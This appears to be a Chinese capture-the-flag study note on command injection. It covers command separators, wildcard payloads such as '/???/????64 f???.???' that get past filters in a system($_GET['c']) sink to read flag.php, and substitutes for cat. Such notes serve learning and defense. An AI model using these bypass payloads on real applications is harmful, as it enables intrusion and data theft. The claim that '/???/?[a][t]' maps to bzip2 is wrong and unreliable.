二、命令执行

2.6 正则

正则表达式 – 语法 | 菜鸟教程

2.7 常用的绕过姿势

2.7.1 常用符号

a.命令连接符

• Windows和Linux都⽀持的命令连接符：

cmd1 | cmd2 只执行 cmd2

cmd1 || cmd2 只有当 cmd1 执行失败后， cmd2 才被执行

cmd1 & cmd2 先执行 cmd1 ，不管是否成功，都会执行 cmd2

cmd1 && cmd2 先执行 cmd1 ，只有 cmd1 执行成功后才执行 cmd2 ，否则不执行 cmd2

• Linux特有：分号

cmd1 ; cmd2 按顺序依次执行，先执行 cmd1 再执行 cmd2

b.通配符

?	单个字符
*	零个、单个或多个字符

例⼦：遇到system($_GET['c']);,则c可以传参

/???/?s --help	# 可代表 /bin/ls --help
/???/????64 f???.???	# 可代表 /bin/base64 flag.php:base64 编码 flag.php 的内容。
/???/?[a][t] ?''?''?''?''	# 可代表 /usr/bin/bzip2 flag.php: 将 flag.php 文件进行压缩，然后再将其下载。
/???/?at ????	# 可代表 /bin/cat: test:
/???/?[a]''[t] ?''?''?''?''

2.7.2 cat 绕过

more	一页一页的显示档案内容
less	与 more 类似，但是比 more 更好的是，他可以 [pg dn][pg up] 翻页
head	查看头几行
tac	从最后一行开始显示，可以看出 tac 是 cat 的反向显示
tail	查看尾几行
nl	显示的时候，顺便输出行号
od	以二进制的方式读取档案内容
vi	一种编辑器，可以查看
vim	一种编辑器，可以查看
sort	可以查看
uniq	可以查看
file-f	报错出具体内容
sed	一种编辑器，可以查看
grep	在当前目录中，查找后缀有 file 字样的文件中包含 test 字符串的文件，并打印出该字符串的行。此时，可以使用如下命令： grep test *file、strings